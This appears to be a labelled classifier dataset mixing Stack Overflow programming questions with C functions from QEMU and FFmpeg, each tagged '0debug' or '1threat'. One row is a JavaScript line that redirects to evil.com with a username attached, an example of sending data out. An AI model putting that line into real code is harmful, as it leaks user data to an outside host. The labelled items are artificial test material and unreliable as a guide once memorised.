problem
stringlengths 26
131k
| labels
class label 2
classes |
|---|---|
av_cold int vaapi_device_init(const char *device)
{
int err;
err = av_hwdevice_ctx_create(&hw_device_ctx, AV_HWDEVICE_TYPE_VAAPI,
device, NULL, 0);
if (err < 0) {
av_log(&vaapi_log, AV_LOG_ERROR, "Failed to create a VAAPI device\n");
return err;
}
return 0;
}
| 1threat
|
Python - Comb Sorting Program : I am trying to write a program in python which should sort a list within a list.
Examples -
List before sorting: [[2, 1], [2, 2], [3, 3], [3, 1], [1, 1], [1, 2]]
List after sorting: [[1, 1], [1, 2], [2, 1], [2, 2], [3, 1], [3, 3]]
List before sorting: [[3, 3], [2, 2], [1, 2], [2, 1], [3, 1], [1, 1]]
List after sorting: [[1, 1], [2, 1], [1, 2], [2, 2], [3, 1], [3, 3]]
List before sorting: [[1, 1], [3, 3], [2, 1], [2, 2], [1, 2], [3, 1]]
List after sorting: [[1, 1], [1, 2], [2, 1], [2, 2], [3, 1], [3, 3]]
import math
def combsort(list1):
gap = len(list1)
shrink = 1.3
sorted = False
while sorted == False:
gap = gap/shrink
if gap > 1:
sorted = False
else:
gap = 1
sorted = True
i = 0
while i + gap < gap:
distance1 = math.sqrt(list1[i[0]]**2 + list1[i[1]]**2)
distance2 = math.sqrt(list1[i+gap[0]]**2 + list1[i+gap[1]]**2)
if distance1 > distance2:
temporary = list1[i]
list1[i] = list1[i + gap]
temporary = list1[i + gap]
sorted = False
i = i + 1
list1 = [[2, 1], [2, 2], [3, 3], [3, 1], [1, 1], [1, 2]]
combsort(list1)
print(list1)
My code doesn't work and prints out the exact same list. Any help?
| 0debug
|
static void nabm_writel (void *opaque, uint32_t addr, uint32_t val)
{
PCIAC97LinkState *d = opaque;
AC97LinkState *s = &d->ac97;
AC97BusMasterRegs *r = NULL;
uint32_t index = addr - s->base[1];
switch (index) {
case PI_BDBAR:
case PO_BDBAR:
case MC_BDBAR:
r = &s->bm_regs[GET_BM (index)];
r->bdbar = val & ~3;
dolog ("BDBAR[%d] <- %#x (bdbar %#x)\n",
GET_BM (index), val, r->bdbar);
break;
case GLOB_CNT:
if (val & GC_WR)
warm_reset (s);
if (val & GC_CR)
cold_reset (s);
if (!(val & (GC_WR | GC_CR)))
s->glob_cnt = val & GC_VALID_MASK;
dolog ("glob_cnt <- %#x (glob_cnt %#x)\n", val, s->glob_cnt);
break;
case GLOB_STA:
s->glob_sta &= ~(val & GS_WCLEAR_MASK);
s->glob_sta |= (val & ~(GS_WCLEAR_MASK | GS_RO_MASK)) & GS_VALID_MASK;
dolog ("glob_sta <- %#x (glob_sta %#x)\n", val, s->glob_sta);
break;
default:
dolog ("U nabm writel %#x <- %#x\n", addr, val);
break;
}
}
| 1threat
|
python loop through JSON list with nested dicts matchbook data : Below is portion of data that I get from a json request. e.g one match of many matches schedules.
tennis_event =
[{"TIMESTAMP": "2018-09-17 00:09:21.499540", "id":
910569159990041, "name": "M Barthel vs S Soler-Espinosa", "sport-id":
9, "start": "2018-09-17T03:00:00.000Z", "in-running-flag": false,
"allow-live-betting": true, "category-id": [9, 410468520880009,
456968853470009, 476301248050010, 595375589900009, 899462538790042],
"status": "open", "volume": 260.57068, "event-participants": [{"id":
910569160130041, "event-id": 910569159990041, "participant-name": "S
Soler-Espinosa", "number": 2}, {"id": 910569160130042, "event-id":
910569159990041, "participant-name": "M Barthel", "number": 1}],
"markets": [{"live": false, "event-id": 910569159990041, "id":
910569160480042, "name": "Moneyline", "runners": [{"withdrawn": false,
"prices": [{"available-amount": 24.23531, "currency": "EUR", "odds-
type": "DECIMAL", "odds": 1.42016, "decimal-odds": 1.42016, "side":
"back", "exchange-type": "back-lay"}, {"available-amount": 305.45076,
"currency": "EUR", "odds-type": "DECIMAL", "odds": 1.41666, "decimal-
odds": 1.41666, "side": "back", "exchange-type": "back-lay"},
{"available-amount": 224.93911, "currency": "EUR", "odds-type":
"DECIMAL", "odds": 1.37593, "decimal-odds": 1.37593, "side": "back",
"exchange-type": "back-lay"}, {"available-amount": 32.77704,
"currency": "EUR", "odds-type": "DECIMAL", "odds": 1.49505, "decimal-o
odds": 1.49505, "side": "lay", "exchange-type": "back-lay"},
{"available-amount": 244.6073, "currency": "EUR", "odds-type":
"DECIMAL", "odds": 1.54946, "decimal-odds": 1.54946, "side": "lay",
"exchange-type": "back-lay"}, {"available-amount": 134.66863,
"currency": "EUR", "odds-type": "DECIMAL", "odds": 1.59881, "decimal-
odds": 1.59881, "side": "lay", "exchange-type": "back-lay"}], "event-
id": 910569159990041, "id": 910569160660041, "market-id":
910569160480042, "name": "M Barthel", "status": "open", "volume":
199.80652, "event-participant-id": 910569160130042}, {"withdrawn":
false, "prices": [{"available-amount": 16.22626, "currency": "EUR",
"odds-type": "DECIMAL", "odds": 3.02, "decimal-odds": 3.02, "side":
"back", "exchange-type": "back-lay"}, {"available-amount": 134.39962,
"currency": "EUR", "odds-type": "DECIMAL", "odds": 2.82, "decimal-
odds": 2.82, "side": "back", "exchange-type": "back-lay"},
{"available-amount": 80.6399, "currency": "EUR", "odds-type":
"DECIMAL", "odds": 2.67, "decimal-odds": 2.67, "side": "back",
"exchange-type": "back-lay"}, {"available-amount": 10.1829,
"currency": "EUR", "odds-type": "DECIMAL", "odds": 3.38, "decimal-
odds": 3.38, "side": "lay", "exchange-type": "back-lay"}, {"available-
amount": 127.27115, "currency": "EUR", "odds-type": "DECIMAL", "odds":
3.4, "decimal-odds": 3.4, "side": "lay", "exchange-type": "back-lay"},
{"available-amount": 84.56358, "currency": "EUR", "odds-type":
"DECIMAL", "odds": 3.66, "decimal-odds": 3.66, "side": "lay",
"exchange-type": "back-lay"}], "event-id": 910569159990041, "id":
910569160660042, "market-id": 910569160480042, "name": "S Soler-
Espinosa", "status": "open", "volume": 60.76416, "event-participant-
id": 910569160130041}], "start": "2018-09-17T03:00:00.000Z", "status":
"open", "market-type": "money_line", "type": "binary", "in-running-
flag": false, "allow-live-betting": true, "volume": 260.57068, "back-
overround": 103.5268, "lay-overround": 96.4732, "number-of-winners":
1}], "meta-tags": [{"id": 9, "name": "Tennis", "type": "SPORT", "url-
name": "tennis"}, {"id": 410468520880009, "name": "Live Betting",
"type": "OTHER", "url-name": "live-betting"}, {"id": 456968853470009,
"name": "Qualifiers", "type": "OTHER", "url-name": "qualifiers"},
{"id": 476301248050010, "name": "Korea Rep", "type": "COUNTRY", "url-
name": "korea-rep"}, {"id": 595375589900009, "name": "WTA Seoul",
"type": "COMPETITION", "url-name": "wta-seoul"}, {"id":
899462538790042, "name": "September 16th 2018", "type": "DATE", "url-
name": "september-16th-2018"}], "Latency": 0.944826}]
I would like to get event-participant name and store them as
runner_1 = event-participant[0]
runner_2 = event-participant[1]
as there is two dicts in the lists event-participants
I would like to do the same for prices so I can have
runner_price_1 = odds[0]
runner_price_2 = odds[1]
Here's my code,
for data in tennis_event:
id = data['id']
event_name = data['name']
sport_id = data['sport-id']
stat_time = data['start']
is_ip = data['in-running-flag']
for mar in data['event-participants']:
runner_1 = mar['participant-name'][0]
runner_2 = mar['participant-name'][1]
for pr in data['prices']:
runner_pr_1 = pr['odds'][0]
runner_pr_2 = pr['odds'][1]
print(runner_1, runner_2, runner_pr_1, runner_pr_2)
When I try my code I only get the first letter for runner_pr_1
What I want to do is get the each participant name and for the first dict in the event participant list name it as `runner_pr_1` I would like to do the same for the first `'odds'` too.
How do I do that?
| 0debug
|
Getting more than 3200 tweets and their replies : <p>I want to retrieve more than 3200 tweets belongs to a specific user. I also need the replies too. As far as I know, twitter API limits it (with 3200), but is there any work around to get more, possibly all tweets belong to a specific user. Any language, tools, code are welcome.</p>
<p>Thank you</p>
| 0debug
|
document.location = 'http://evil.com?username=' + user_input;
| 1threat
|
What does @ > the rate symbol does in SQL : Hi i have code that does that uses @> in select statement. I need to change the query from redash counterpart to bigquery.
I have searched about the @ that mean the argument will be taken after in order to prevent it from the sql injection.
```
select
u.user_kvs IS NOT NULL AND u.user_kvs @> 'google_authenticator_enabled=>1'
from
sometable
```
not sure what it does thats the question.
| 0debug
|
How to show the active service workers in the firefox dev tools? : <p>In the Chrome Developer tools (pressing F12), I can see all service workers, accessing the <em>Application</em> tab, selecting <em>Service Workers menu</em>, checking <em>"Show All"</em>.</p>
<p><strong>How can I do it, in the Firefox ?</strong></p>
| 0debug
|
static coroutine_fn int qcow2_co_readv(BlockDriverState *bs, int64_t sector_num,
int remaining_sectors, QEMUIOVector *qiov)
{
BDRVQcowState *s = bs->opaque;
int index_in_cluster, n1;
int ret;
int cur_nr_sectors;
uint64_t cluster_offset = 0;
uint64_t bytes_done = 0;
QEMUIOVector hd_qiov;
uint8_t *cluster_data = NULL;
qemu_iovec_init(&hd_qiov, qiov->niov);
qemu_co_mutex_lock(&s->lock);
while (remaining_sectors != 0) {
cur_nr_sectors = remaining_sectors;
if (s->crypt_method) {
cur_nr_sectors = MIN(cur_nr_sectors,
QCOW_MAX_CRYPT_CLUSTERS * s->cluster_sectors);
}
ret = qcow2_get_cluster_offset(bs, sector_num << 9,
&cur_nr_sectors, &cluster_offset);
if (ret < 0) {
goto fail;
}
index_in_cluster = sector_num & (s->cluster_sectors - 1);
qemu_iovec_reset(&hd_qiov);
qemu_iovec_concat(&hd_qiov, qiov, bytes_done,
cur_nr_sectors * 512);
switch (ret) {
case QCOW2_CLUSTER_UNALLOCATED:
if (bs->backing_hd) {
n1 = qcow2_backing_read1(bs->backing_hd, &hd_qiov,
sector_num, cur_nr_sectors);
if (n1 > 0) {
BLKDBG_EVENT(bs->file, BLKDBG_READ_BACKING_AIO);
qemu_co_mutex_unlock(&s->lock);
ret = bdrv_co_readv(bs->backing_hd, sector_num,
n1, &hd_qiov);
qemu_co_mutex_lock(&s->lock);
if (ret < 0) {
goto fail;
}
}
} else {
qemu_iovec_memset(&hd_qiov, 0, 0, 512 * cur_nr_sectors);
}
break;
case QCOW2_CLUSTER_ZERO:
if (s->qcow_version < 3) {
ret = -EIO;
goto fail;
}
qemu_iovec_memset(&hd_qiov, 0, 0, 512 * cur_nr_sectors);
break;
case QCOW2_CLUSTER_COMPRESSED:
ret = qcow2_decompress_cluster(bs, cluster_offset);
if (ret < 0) {
goto fail;
}
qemu_iovec_from_buf(&hd_qiov, 0,
s->cluster_cache + index_in_cluster * 512,
512 * cur_nr_sectors);
break;
case QCOW2_CLUSTER_NORMAL:
if ((cluster_offset & 511) != 0) {
ret = -EIO;
goto fail;
}
if (s->crypt_method) {
if (!cluster_data) {
cluster_data =
qemu_blockalign(bs, QCOW_MAX_CRYPT_CLUSTERS * s->cluster_size);
}
assert(cur_nr_sectors <=
QCOW_MAX_CRYPT_CLUSTERS * s->cluster_sectors);
qemu_iovec_reset(&hd_qiov);
qemu_iovec_add(&hd_qiov, cluster_data,
512 * cur_nr_sectors);
}
BLKDBG_EVENT(bs->file, BLKDBG_READ_AIO);
qemu_co_mutex_unlock(&s->lock);
ret = bdrv_co_readv(bs->file,
(cluster_offset >> 9) + index_in_cluster,
cur_nr_sectors, &hd_qiov);
qemu_co_mutex_lock(&s->lock);
if (ret < 0) {
goto fail;
}
if (s->crypt_method) {
qcow2_encrypt_sectors(s, sector_num, cluster_data,
cluster_data, cur_nr_sectors, 0, &s->aes_decrypt_key);
qemu_iovec_from_buf(qiov, bytes_done,
cluster_data, 512 * cur_nr_sectors);
}
break;
default:
g_assert_not_reached();
ret = -EIO;
goto fail;
}
remaining_sectors -= cur_nr_sectors;
sector_num += cur_nr_sectors;
bytes_done += cur_nr_sectors * 512;
}
ret = 0;
fail:
qemu_co_mutex_unlock(&s->lock);
qemu_iovec_destroy(&hd_qiov);
qemu_vfree(cluster_data);
return ret;
}
| 1threat
|
how to get a actual direction like east - west in unity? : i am using google api for show a map in unity and also genrate object on map's some location from player position now i want to know actual direct it means identy direction (east-west) from google map or google api.
> i am make a some code but it is not give me actual direction.
var v = transform.forward;
v.y = 0;
v.Normalize();
if (Vector3.Angle(v, Vector3.forward) <= 45.0) {
Debug.Log("North");
}
else if (Vector3.Angle(v, Vector3.right) <= 45.0) {
Debug.Log("East");
}
else if (Vector3.Angle(v, Vector3.back) <= 45.0) {
Debug.Log("South");
}
else {
Debug.Log("West");
}
| 0debug
|
Download FRED data by month : <p>I am trying to download FRED data by month. Is there any way that I can download data by month instead of day? Thanks in advance. </p>
<pre><code>getSymbols("GOLDPMGBD228NLBM", src = "FRED")
</code></pre>
| 0debug
|
QObject *qmp_output_get_qobject(QmpOutputVisitor *qov)
{
QObject *obj = qov->root;
if (obj) {
qobject_incref(obj);
} else {
obj = qnull();
}
return obj;
}
| 1threat
|
Jquery plugin for adding text on image : <p>There are various jquery plugins that adds text as overlay on image. But I want to allow user to place text on image, give effect(like font, size, curve) to text and then save it as image.
Something like <a href="http://ipiccy.com/" rel="nofollow noreferrer">http://ipiccy.com/</a> (Don't need all the features but adding text and text effects)
I am using Asp.Net mvc. Please suggest </p>
| 0debug
|
static void gic_set_irq(void *opaque, int irq, int level)
{
gic_state *s = (gic_state *)opaque;
irq += GIC_INTERNAL;
if (level == GIC_TEST_LEVEL(irq, ALL_CPU_MASK))
return;
if (level) {
GIC_SET_LEVEL(irq, ALL_CPU_MASK);
if (GIC_TEST_TRIGGER(irq) || GIC_TEST_ENABLED(irq, ALL_CPU_MASK)) {
DPRINTF("Set %d pending mask %x\n", irq, GIC_TARGET(irq));
GIC_SET_PENDING(irq, GIC_TARGET(irq));
}
} else {
GIC_CLEAR_LEVEL(irq, ALL_CPU_MASK);
}
gic_update(s);
}
| 1threat
|
static void store_word(DBDMA_channel *ch, int key, uint32_t addr,
uint16_t len)
{
dbdma_cmd *current = &ch->current;
uint32_t val;
DBDMA_DPRINTF("store_word\n");
if (key != KEY_SYSTEM) {
printf("DBDMA: STORE_WORD, unimplemented key %x\n", key);
kill_channel(ch);
return;
}
val = current->cmd_dep;
if (len == 2)
val >>= 16;
else if (len == 1)
val >>= 24;
cpu_physical_memory_write(addr, (uint8_t*)&val, len);
if (conditional_wait(ch))
goto wait;
current->xfer_status = cpu_to_le16(be32_to_cpu(ch->regs[DBDMA_STATUS]));
dbdma_cmdptr_save(ch);
ch->regs[DBDMA_STATUS] &= cpu_to_be32(~FLUSH);
conditional_interrupt(ch);
next(ch);
wait:
qemu_bh_schedule(dbdma_bh);
}
| 1threat
|
Update for Pascal : <p>I have been asked to update a program in Pascal. I program is used to transfer data from one program to another, What I need to know is what either state of the port mean?<br>
<strong>tTransferState = (sAbort, sWaiting, sFirstLine, sModelFeature, sOtherLines, sSending, sClosePort, sOpenPort, sPaused, sFinished);</strong> I have tried searching the internet and haven't found anything, maybe I'm searching the wrong thing. I know what some of these mean but not all. I believe I can finish the program easy if I can find the meaning to each of these.</p>
<p>Thanks in Advance for your help.</p>
| 0debug
|
void do_load_fpscr (void)
{
union {
float64 d;
struct {
uint32_t u[2];
} s;
} u;
int i;
#ifdef WORDS_BIGENDIAN
#define WORD0 0
#define WORD1 1
#else
#define WORD0 1
#define WORD1 0
#endif
u.s.u[WORD0] = 0;
u.s.u[WORD1] = 0;
for (i = 0; i < 8; i++)
u.s.u[WORD1] |= env->fpscr[i] << (4 * i);
FT0 = u.d;
}
| 1threat
|
Get unique values of multiple columns as a new dataframe in pandas : <p>Having pandas data frame <code>df</code> with at least columns C1,C2,C3 how would you get all the unique C1,C2,C3 values as a new DataFrame? </p>
<p>in other words, similiar to :</p>
<pre><code>SELECT C1,C2,C3
FROM T
GROUP BY C1,C2,C3
</code></pre>
<p>Tried that </p>
<pre><code>print df.groupby(by=['C1','C2','C3'])
</code></pre>
<p>but im getting </p>
<pre><code><pandas.core.groupby.DataFrameGroupBy object at 0x000000000769A9E8>
</code></pre>
| 0debug
|
void usb_packet_set_state(USBPacket *p, USBPacketState state)
{
static const char *name[] = {
[USB_PACKET_UNDEFINED] = "undef",
[USB_PACKET_SETUP] = "setup",
[USB_PACKET_QUEUED] = "queued",
[USB_PACKET_ASYNC] = "async",
[USB_PACKET_COMPLETE] = "complete",
[USB_PACKET_CANCELED] = "canceled",
};
USBDevice *dev = p->ep->dev;
USBBus *bus = usb_bus_from_device(dev);
trace_usb_packet_state_change(bus->busnr, dev->port->path, p->ep->nr,
p, name[p->state], name[state]);
p->state = state;
}
| 1threat
|
static void string_deserialize(void **native_out, void *datap,
VisitorFunc visit, Error **errp)
{
StringSerializeData *d = datap;
d->string = string_output_get_string(d->sov);
d->siv = string_input_visitor_new(d->string);
visit(d->siv, native_out, errp);
}
| 1threat
|
i want separator the number for 1 digit, 2 digit,3digit,4digit,5 digit : i want separator the number for 1 digit, 2 digit,3digit,4digit,5 digit. Example 1234567890 = 1,2,3,4,5,6,7,8,9,0 and 12,34,56,78,90
how this? please help me.
| 0debug
|
What basic example I can give for inner join and outer join in SQL? : <p>Please help me to understand and best example for my question.</p>
<p>I can not understand how to create the object and use them.</p>
<p>thank you</p>
| 0debug
|
static int get_cod(Jpeg2000DecoderContext *s, Jpeg2000CodingStyle *c,
uint8_t *properties)
{
Jpeg2000CodingStyle tmp;
int compno;
if (s->buf_end - s->buf < 5)
return AVERROR_INVALIDDATA;
tmp.log2_prec_width =
tmp.log2_prec_height = 15;
tmp.csty = bytestream_get_byte(&s->buf);
tmp.prog_order = bytestream_get_byte(&s->buf);
tmp.nlayers = bytestream_get_be16(&s->buf);
tmp.mct = bytestream_get_byte(&s->buf);
get_cox(s, &tmp);
for (compno = 0; compno < s->ncomponents; compno++)
if (!(properties[compno] & HAD_COC))
memcpy(c + compno, &tmp, sizeof(tmp));
return 0;
}
| 1threat
|
How to perform OAuth 2.0 using the Curl CLI? : <p>I would like to use curl from a Windows command prompt to perform Google OAuth 2.0. My goal is to better understand the authentication flows that an OAuth server implements, see the HTTP headers, etc.</p>
<p>How can this be done using curl.exe from a Windows Command Prompt?</p>
| 0debug
|
how to make a textbox show me double? : I am trying to get myself used to c#, currently I am using SharpDevelop for that Task, anyway, I have a simple question, lets say I want to have a TextBox that Shows me the outcome of a mathematical code as shown below, how do I get the TextBox to actually Show me types like double, int or other stuff? It always tells me it cant convert double to string or whatever, I am pretty noob so yeah.
void CmdWriteClick(object sender, EventArgs e)
{
double var = 8.40;
double start = 9.00;
double end = var + start;
textbox_end.Text = end;
}
I already tried to not use the .text but something like .value but didnt work, any help?
thanks
| 0debug
|
Refactoring to one line statement bool value : <p>Is there a way to turn this into a one-liner it works as does what its meant to do but I can't help but think it could be one line as I am just simply returning a bool.</p>
<pre><code>private bool RequiresTable() {
return Settings.Filter.Criteria.Any(w => w.NameSpace == "XXX");
}
</code></pre>
| 0debug
|
How to replace white space with the equivalent special character in string? : <p>Say we have:</p>
<pre><code>Saudi Arabia
</code></pre>
<p>If I do:</p>
<pre><code>loc.replace(/ /g,''));
</code></pre>
<p>Becomes:</p>
<pre><code>SaudiArabia
</code></pre>
<p>What if I want to replace the white space with <code>&nbsp</code>?</p>
<p>Tried:</p>
<pre><code>loc.replace(/ /g,'&nbsp')
</code></pre>
<p>I am looking for </p>
<pre><code>Saudi&nbspArabia
</code></pre>
| 0debug
|
C# How to check if form is not visible (minimized) : Sorry for my bad english.
I am using this code to check if the form is minimized:
[SecurityPermission(SecurityAction.LinkDemand, Flags = SecurityPermissionFlag.UnmanagedCode)]
protected override void WndProc(ref Message m)
{
switch (m.Msg)
{
case WM_SYSCOMMAND:
int command = m.WParam.ToInt32() & 0xfff0;
if (command == SC_MINIMIZE)
{
MessageBox.Show("Minimized");
Variaveis.telaMinimizada = true;
}
else
{
Variaveis.telaMinimizada = false;
MessageBox.Show("Maximized");
}
break;
}
base.WndProc(ref m);
}
This code works like a charm. When i click on minimize button, appear the message "minimized", and when i reopen the application, appear the message "maximized"
But there is a problem. **Not always people minimize the form by clicking on minimize button.** I mean, **if i click on screen OUT the form**, the form will also minimize, and when this happen, the code i have do not detect that the form got minimized.
How can i check if the form is minimized (or is invisible on screen) when the form get minimized after clicking **OUT** the form?
Ideas? Thanks!
| 0debug
|
static void video_encode_example(const char *filename, int codec_id)
{
AVCodec *codec;
AVCodecContext *c= NULL;
int i, ret, x, y, got_output;
FILE *f;
AVFrame *picture;
AVPacket pkt;
uint8_t endcode[] = { 0, 0, 1, 0xb7 };
printf("Encode video file %s\n", filename);
codec = avcodec_find_encoder(codec_id);
if (!codec) {
fprintf(stderr, "codec not found\n");
exit(1);
}
c = avcodec_alloc_context3(codec);
picture= avcodec_alloc_frame();
c->bit_rate = 400000;
c->width = 352;
c->height = 288;
c->time_base= (AVRational){1,25};
c->gop_size = 10;
c->max_b_frames=1;
c->pix_fmt = PIX_FMT_YUV420P;
if(codec_id == AV_CODEC_ID_H264)
av_opt_set(c->priv_data, "preset", "slow", 0);
if (avcodec_open2(c, codec, NULL) < 0) {
fprintf(stderr, "could not open codec\n");
exit(1);
}
f = fopen(filename, "wb");
if (!f) {
fprintf(stderr, "could not open %s\n", filename);
exit(1);
}
ret = av_image_alloc(picture->data, picture->linesize, c->width, c->height,
c->pix_fmt, 32);
if (ret < 0) {
fprintf(stderr, "could not alloc raw picture buffer\n");
exit(1);
}
picture->format = c->pix_fmt;
picture->width = c->width;
picture->height = c->height;
for(i=0;i<25;i++) {
av_init_packet(&pkt);
pkt.data = NULL;
pkt.size = 0;
fflush(stdout);
for(y=0;y<c->height;y++) {
for(x=0;x<c->width;x++) {
picture->data[0][y * picture->linesize[0] + x] = x + y + i * 3;
}
}
for(y=0;y<c->height/2;y++) {
for(x=0;x<c->width/2;x++) {
picture->data[1][y * picture->linesize[1] + x] = 128 + y + i * 2;
picture->data[2][y * picture->linesize[2] + x] = 64 + x + i * 5;
}
}
picture->pts = i;
ret = avcodec_encode_video2(c, &pkt, picture, &got_output);
if (ret < 0) {
fprintf(stderr, "error encoding frame\n");
exit(1);
}
if (got_output) {
printf("encoding frame %3d (size=%5d)\n", i, pkt.size);
fwrite(pkt.data, 1, pkt.size, f);
av_free_packet(&pkt);
}
}
for (got_output = 1; got_output; i++) {
fflush(stdout);
ret = avcodec_encode_video2(c, &pkt, NULL, &got_output);
if (ret < 0) {
fprintf(stderr, "error encoding frame\n");
exit(1);
}
if (got_output) {
printf("write frame %3d (size=%5d)\n", i, pkt.size);
fwrite(pkt.data, 1, pkt.size, f);
av_free_packet(&pkt);
}
}
fwrite(endcode, 1, sizeof(endcode), f);
fclose(f);
avcodec_close(c);
av_free(c);
av_freep(&picture->data[0]);
av_free(picture);
printf("\n");
}
| 1threat
|
variable juggling in javascript : <pre><code>var a = [1,2,3]
var b = [4,5,6]
var c = a;
</code></pre>
<p>Why in the case of c[2] = b[0], the value of a[2] would also get changed?</p>
<p>As far as I understand <code>var c = a</code> should only assign whatever value in <code>a[]</code> to <code>c[]</code> and not the other way around. </p>
| 0debug
|
Load custom native component in react native using expo kit : <p>Im trying to load a custom Android WebView to be able to upload files using html file inputs (by default Android webview wont work with input file). <a href="https://github.com/hushicai/ReactNativeAndroidWebView" rel="noreferrer">Im using this code</a>, the only difference is that im using expo kit, so my MainApplication.java is different (inherits from another class by default):</p>
<pre><code>public class MainApplication extends MultiDexApplication {
// Needed for `react-native link`
public List<ReactPackage> getPackages() {
return Arrays.<ReactPackage>asList(
new MainReactPackage(),
new CustomWebViewPackage()
);
}
@Override
public void onCreate() {
super.onCreate();
SoLoader.init(this, /* native exopackage */ false);
}
}
</code></pre>
<p>Basically what the git code do is override the default react native webview to make it use the CustomWebView.java in Android, using requireNativeComponent with this code (<a href="https://github.com/hushicai/ReactNativeAndroidWebView/blob/master/src/CustomWebView.android.js" rel="noreferrer">this is on CustomWebView.android.js</a>):</p>
<pre><code>var RCTWebView = requireNativeComponent('CustomWebView', WebView, {
nativeOnly: {
messagingEnabled: PropTypes.bool,
},
</code></pre>
<p>});</p>
<p>But when i run the application using exp start and navigate to the screen that has the CustomWebView i receive this error:</p>
<p><a href="https://i.stack.imgur.com/Ep933.png" rel="noreferrer"><img src="https://i.stack.imgur.com/Ep933.png" alt="enter image description here"></a></p>
<p>Summarizing the problem is that my custom native component is not being read by React Native. Can someone help me please?</p>
| 0debug
|
Python + Machine Learning : String matching problem : <p>I have been given one problem to solve:</p>
<p>The problem is explained below:</p>
<p>The company maintains a dataset for specifications of all the products (nearly 4,500 at present) which it sells. Now each customer shares the details (name, quantity, brand etc.) of the products which he/she wants to buy from the company. Now, the customer while entering details in his/her dataset may spell the name of the product incorrectly. Also a product can be referred by many different ways in the company dataset. Example : red chilly can be referred as guntur chilly, whole red chilly, red chilly with stem, red chilly without stem etc.</p>
<p>I am absolutely confused about how to approach this problem. Should I use any machine learning based technique? If yes, then plz explain me what to do. Or, if it is possible to solve this problem without machine learning then also explain your approach. I am using Python.</p>
<p><strong>The challenge :</strong> customer can refer to a product in many ways and the company also stores a single product in many ways with different specifications like variations in name, quantity, unit of measurements etc. With a labeled dataset I can find out that red bull energy drink(data entered by customer) is red bull (label) and red bull(entered by customer) is also red bull. But what's the use of finding this label? Because in my company dataset also red bull is present in many ways. Again I have to find all the different names of red bull in which they present in company dataset.</p>
<p><strong>My approach:</strong>
I will prepare a Python dictionary like this:</p>
<pre><code>{
"red chilly" : ['red chilly', 'guntur chilly', 'red chilly with stem'],
"red bull" : ['red bull energy drink', 'red bull']
}
</code></pre>
<p>Each entry in the dictionary is a product. whose keys are the sort of stem names of the products and the values are the all possible names for a product. Now customer enters a product name, say red bull energy drink. I will check in the dictionary for each key. If any value of that key matches, then I'll understand that the product is actually red bull and it can be referred as red bull and red bull energy drink, both ways in the company dataset. How's this approach ?</p>
| 0debug
|
Error: No Firebase App '[DEFAULT]' has been created - call Firebase App.initializeApp() : <p>I have a firebase database linked up to two apps, one being an iOS app and another being a web app coded in node.js which is a basic algorithm that sets data to the database. When ever i am running the algorithm i am confronted with-</p>
<blockquote>
<p><b>Error: No Firebase App '[DEFAULT]' has been created - call Firebase
App.initializeApp().</b>
at Error (native)
at R (/Users/dd/Desktop/Code/NODE/node_modules/firebase/app-node.js:22:335)
at a (/Users/dd/Desktop/Code/NODE/node_modules/firebase/app-node.js:20:68)
at Object.c [as database] (/Users/dd/Desktop/Code/NODE/node_modules/firebase/app-node.js:21:447)
at Object. (/Users/dd/Desktop/Code/NODE/Bot.js:24:25)
at Module._compile (module.js:570:32)
at Object.Module._extensions..js (module.js:579:10)
at Module.load (module.js:487:32)
at tryModuleLoad (module.js:446:12)
at Function.Module._load (module.js:438:3)
at Module.runMain (module.js:604:10)
at run (bootstrap_node.js:394:7)
at startup (bootstrap_node.js:149:9)
at bootstrap_node.js:509:3 dd-mac:NODE dd$</p>
</blockquote>
<p>Could someone please help?</p>
| 0debug
|
i am stuck about a formula to work out a workbook : i want to work the following. i am using this formula
=ARRAYFORMULA(Split(Transpose(Split(Query(Transpose(query(transpose(if(Input!B2:I<>"", ";"&Input!A2:A&"\"&Input!B2:I, )) ,,999^99)),,999^99), ";")), "\"))
but it does not give the desired results. Here is the desired output 'Automatically restructure all data from input tab as "Example Output" tab illustrates
No rows for "blank" cells in the input tab
Use formula(s) only in the first row - i.e. no need to drag cells down the entire sheet, and this tab auto updates when new entry made in Input tab"
get the sheets on this link
https://docs.google.com/spreadsheets/d/1SY2k_yYb-YLWMUn-AYvxxYZLceOC5iMOjpBIDGhMUks/edit?usp=sharing and give ideas on how to improve the formula or insights into how you can do it differently
| 0debug
|
Android Studio Extracting : I am a real newbie so go easy on me and my terminology, I am still learning!
I have a Backendless database I would like to show in my app.
I have successfully connected it to my Android Studio app, queried it and returned the data in the following method:
Backendless.Data.of( "database" ).find( queryBuilder, new AsyncCallback<List<Map>>(){public void handleResponse(List'<'Map'>'response ){
The narrative on the Backendless SDK says *"the "response" object is a collection of java.util.Map objects"*
I then used an iterator:
Iterator itr = response.iterator();
And a while loop to 'get' the object:
Object element = itr.next();
I am happy up until this point, the next step is to extract the useful data from element.
I have tried many options of but the only one I have working is element.toString() and use various methods to pick out what I want. This seems so inefficient I thought I would ask the experts for a better option!?
Thanks in advance for your help.
| 0debug
|
import math
def count_Divisors(n) :
count = 0
for i in range(1, (int)(math.sqrt(n)) + 2) :
if (n % i == 0) :
if( n // i == i) :
count = count + 1
else :
count = count + 2
if (count % 2 == 0) :
return ("Even")
else :
return ("Odd")
| 0debug
|
static void slow_bar_writew(void *opaque, target_phys_addr_t addr, uint32_t val)
{
AssignedDevRegion *d = opaque;
uint16_t *out = (uint16_t *)(d->u.r_virtbase + addr);
DEBUG("slow_bar_writew addr=0x" TARGET_FMT_plx " val=0x%04x\n", addr, val);
*out = val;
}
| 1threat
|
SSL error with Python requests despite up-to-date dependencies : <p>I am getting an SSL "bad handshake" error. Most similar responses to this problem seem to stem from old libraries, 1024bit cert. incompatibility, etc... I <em>think</em> i'm up to date, and can't figure out why i'm getting this error.</p>
<p>SETUP:</p>
<ul>
<li>requests 2.13.0 </li>
<li>certifi 2017.01.23</li>
<li>'OpenSSL 1.0.2g 1 Mar 2016'</li>
</ul>
<p>I'm hitting this API (2048bit certificate key): <a href="https://api.sidecar.io/rest/v1/provision/application/device/count/" rel="noreferrer">https://api.sidecar.io/rest/v1/provision/application/device/count/</a></p>
<p>And getting this error:
<code>requests.exceptions.SSLError: ("bad handshake: Error([('SSL routines', 'ssl3_get_server_certificate', 'certificate verify failed')],)",)</code></p>
<p>See l.44 of <a href="https://github.com/sidecar-io/sidecar-python-sdk/blob/master/sidecar.py" rel="noreferrer">https://github.com/sidecar-io/sidecar-python-sdk/blob/master/sidecar.py</a></p>
<p>If I turn <code>verify=False</code> in requests, I can bypass, but i'd rather figure out why the certification is failing.</p>
<p>Any help is greatly appreciated; thanks!</p>
| 0debug
|
